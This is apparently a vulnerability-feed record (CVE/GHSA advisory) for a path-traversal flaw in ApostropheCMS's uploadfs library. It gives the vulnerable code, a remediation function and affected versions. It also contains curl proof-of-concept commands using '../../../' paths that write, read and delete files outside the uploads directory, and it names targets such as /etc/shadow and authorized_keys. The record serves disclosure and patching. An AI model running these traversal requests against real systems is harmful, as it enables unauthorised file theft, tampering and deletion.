{"schema":"threatline.record/2","record":{"id":"CVE-2026-113651","aliases":["GHSA-gmfx-5g6x-rr72"],"summary":"ApostropheCMS: Path traversal in uploadfs","details":"## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load < apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n<img width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" />\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" <<< \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n<img width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" />\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error('Path traversal blocked: target is outside the intended directory');\n  }\n  return resolved;\n}\n```","categories":["Libraries & packages"],"product":"uploadfs","vendor":"apostrophecms","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","source_modified_at":"2026-10-20T18:22:01Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"uploadfs"},"range":"< 1.28.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113651","source_modified_at":"2026-10-20T17:20:31.152Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"apostrophe","vendor":"apostrophecms","versions":[{"version":"< 4.33.0","status":"affected"}],"defaultStatus":null},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113651","source_modified_at":"2026-10-20T17:20:31.152Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"uploadfs","vendor":"apostrophecms","versions":[{"version":"< 1.28.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-gmfx-5g6x-rr72","source_modified_at":"2026-10-20T18:30:03.588737115Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"uploadfs","ecosystem":"npm","purl":"pkg:npm/uploadfs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.28.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","source_modified_at":"2026-10-20T18:22:01Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"uploadfs"},"version":"1.28.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-gmfx-5g6x-rr72","source_modified_at":"2026-10-20T18:30:03.588737115Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"uploadfs","ecosystem":"npm","purl":"pkg:npm/uploadfs"},"version":"1.28.0"}],"cvss":3.3,"severity":"Low","kev":{"listed":false},"epss":{"probability":0.00328,"percentile":0.24697,"score_date":"2026-10-23"},"published_at":"2026-10-20T16:22:30.842Z","modified_at":"2026-10-20T18:30:03.588737115Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T18:22:01Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-113651","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T17:20:31.152Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-gmfx-5g6x-rr72","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T18:30:03.588737115Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113651","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-20T17:20:04.228561Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T18:30:03.588737115Z","content_hash":"9abf0c222660e5532b7a0209016bd249bc467a8a96f6551860a41ad13fc37a18"}}
